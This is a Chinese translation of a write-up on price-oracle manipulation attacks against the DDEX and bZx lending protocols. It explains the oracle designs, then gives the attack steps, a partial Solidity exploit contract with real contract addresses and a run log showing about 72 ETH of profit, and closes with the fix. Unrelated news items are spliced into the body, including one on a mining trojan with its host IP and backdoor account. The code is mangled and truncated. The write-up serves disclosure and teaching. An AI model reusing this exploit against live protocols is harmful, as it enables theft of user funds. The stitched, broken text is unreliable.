译文出自:登链翻译计划
译者:翻译小组
校对:Tiny熊
太长不看版
因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。
什么是去中心化贷款?
首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。
在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。
为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):
链下中心化预言机这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA,而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。Compound和Synthetix的大多数资产使用这种类型的预言机。
CoinDesk已允许用户通过阅读文章等互动来赚取DESK代币:12月7日消息,区块链媒体CoinDesk计划将其DESK代币整合到更广泛的读者体验中,目前创建账户后的读者有机会通过阅读文章、观看视频和其他与CoinDesk的互动来赚取DESK代币,领取的DESK奖励会累积在每个读者的CoinDesk余额中,未来可以进行转移。
即日起,读者可以将其代币兑换成来自特色艺术家、社区PFP等的各种NFT作品,也可以使用DESK访问Discord社区中的代币门限频道和Web3功能。DESK代币还可用于参与SnapShot空间中的代币化民意调查和社区提案。(CoinDesk)[2022/12/7 21:27:44]
链下去中心化预言机这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。Maker针对ETH和其他资产使用这种类型的预言机。
链上中心化预言机这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。dYdX和Nuo针对一些资产使用这种类型的预言机。
链上去中心化预言机这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。
腾讯主机安全捕获Ks3_Miner木马通过爆破SSH入侵云服务器挖矿:腾讯主机安全(云镜)捕获Ks3挖矿木马攻击云服务器,攻击团伙通过扫描网络中大量开放的SSH服务,对其进行爆破攻击。成功后植入挖矿恶意脚本进行门罗币挖矿。因挖矿木马主脚本名为ks3,腾讯安全将其命名为Ks3_Miner,腾讯安全全系列产品已支持对Ks3挖矿木马的检测和查杀。
该挖矿木马作业时,会大量占用服务器资源,使云服务器无法提供正常的网络服务。同时,该木马也会结束其他挖矿木马进程,删除其他挖矿木马文件,以独占服务器资源。
Ks3_Miner恶意代码托管在ftp(144.217.45.47)地址内,地址内除挖矿模块外,还存在扫描工具、用于扫描的目标IP地址池超过1300万个,以及反弹shell脚本。观察其相关文件修改日期可知,该挖矿木马最早于2020年6月已开始活动。
Ks3挖矿木马执行成功后,会尝试进一步读取机器内历史登录凭据信息进行横向传播扩散。同时在主机内留下用于后门操作的免密登录配置项,添加名为.syslogs1q的后门账户,以方便后续继续远程登录控制失陷主机。(腾讯安全威胁情报中心)[2020/12/16 15:23:46]
常量预言机这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。
问题
在寻找其他易受攻击的项目时,我看到了这条推文:
声音 | BCH支持者:无法通过双花找回加密巨鲸被盗的BCH资产:今日,加密巨鲸(zhoujianfu)被爆丢失价值2.6亿元的BTC和BCH,对于BTC/BCH矿工能否帮巨鲸回滚交易寻回损失的问题,BCH支持者“铁路追踪者”向表示,丢失的BTC,理论上有可能通过双花找回,但BTC市值庞大、牵扯利益方众多,所以也只存在理论上的可能性。而要通过BCH双花是连理论可能都没有。2018年末BCH和BSV分道扬镳后,BCH为了防止攻击,加了一项超过10个确认就无法回滚的设置。因此,BCH算力虽小,但对抵御双花的抵御能力很强。打个比方,如果一百年以后比特币上只剩下残存的100P算力了,突然来了4000P算力,你猜猜能回滚到哪儿?理论上可以回到高度618466,也就是现在。[2020/2/22]
老实说,我担心他们会将其用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。
—Vitalik非以太赠予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice
uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice
return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai
声音 | 上海财经大学奚君羊:Libra的一些目标、设想,中国可以通过人民币的数字化来逐步借鉴:据中外管理杂志微信公众号,上海财经大学现代金融研究中心奚君羊副主任接受“管理百家”专访表示,Libra对于我们的启示是:货币的未来形态未必是现在这种以实体货币为基础的电子货币,未来我们的法定货币或主权货币,也可以采取数字形式,也可以采用数字货币。就是关于这一点,中国人民银行正在研究,在不远的将来,有可能我们中国法定的人民币的数字货币也会应运而生。但是这种货币仍然是人民币,只不过它是数字货币而已。Libra的一些目标、设想,中国可以通过人民币的数字化来逐步借鉴,吸取它一些可以适用的元素,使得人民币作为一种数字货币,在某种程度上实现Libra想要实现的目标。从长远来看,未来全球各个国家都可能使得货币逐步数字化,使得实体货币最终消亡,等到各国都开始使用数字化的主权货币或法定货币,而货币的一体化程度又在不断的提高时,最后肯定有一种货币成为真正意义上的国际货币的数字货币,从而取代其他的。但是,这是要等到整个世界经济金融货币自然的一体化程度达到顶峰的阶段,才能水到渠成。[2019/7/6]
uint256bidDai=Eth2Dai
else{returnbidPrice
}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP
else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle
新债王Gundlach:通过观察比特币获得股市下一步走势:“新债王”Gundlach:投资者可以通过观察比特币获得股市的下一步走势。[2018/2/24]
else{return0;}}
参考源码
为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。
functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}
参考源码
攻击原理
假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。
为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的,因此我们将尝试降低ETH/DAI的表现价值。
编者注,因为DAI/USD价格=ETH/USD价格÷ETH/DAI价格
预言机通过Eth2Dai取当前要价和当前出价的平均值来计算ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。
但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。
为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:
清除订单的一侧,而保留另一侧。这导致价差正增长
通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。
尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。
攻击演示
以下脚本将通过以下方式获利约70ETH:
清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格
从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH
用少量DAI(?2500)借出所有可用ETH(?120)
将我们从Uniswap购买的DAI卖回Uniswap
将我们从Eth2Dai购买的DAI卖回Eth2Dai
重置预言机(不想让其他人滥用我们的优惠价格)
contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")
functioncheckRates()external{uintethPrice=ETH_ORACLE
uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE
functionskewUniswapPrice()internal{DAI
functionskewMatchingMarket()internal{uintstart=DAI
boughtFromMatchingMarket=DAI
functionsteal()external{HydroLike
functioncleanup()external{DAI
functioncheckProfits()external{printf("profits=%
}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/
解决方案
DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。
本文来源于非小号媒体平台:
登链社区
现已在非小号资讯平台发布105篇作品,
非小号开放平台欢迎币圈作者入驻
入驻指南:
/apply_guide/
本文网址:
/news/9559363.html
免责声明:
1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险
2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场
上一篇:
币安为何推出第三条链?这对BNB意味着什么?
美国亿万富翁萨姆·泽尔声称对比特币持怀疑态度,并认为数字资产可能是社会财务困境的“答案或答案之一”。但是,这位前律师表示,他不“相信”比特币生态系统的成员,甚至称比特币人为“变色龙”.
1900/1/1 0:00:00BTCBTC这个月的表现非同一般。本月达到历史最高点,可能所有人都在想,BTC这艘火箭船何时会耗尽燃料。然而,一周前,BTC开始显得有些不稳定.
1900/1/1 0:00:00金色财经讯,今日早间,美国SEC计划起诉Ripple,指控其出售XRP违反投资者保护法。据火币全球站行情显示,XRP一度跌破0.46美元,最低跌至0.45744美元,日内跌幅超12%.
1900/1/1 0:00:00最近Filecoin挖矿gas费用过高的问题面对不合理的gas费用,Filecoin正式正在努力从多方面解决问题。关于FilecoinFIP-9的建议.
1900/1/1 0:00:00什么是YFI?YFI的全称是yearn.finance,YFI是项目Token的名称。yearn是一个支持各种DeFi协议的聚合理财平台,会在协议间自动移仓以幫助投资者获得最大的理财收益.
1900/1/1 0:00:00链闻消息,Web3隐私产品MaskNetwork宣布将和去中心化存储项目Sia达成合作,并发起赏金计划,为用户提供更多文件存储选项.
1900/1/1 0:00:00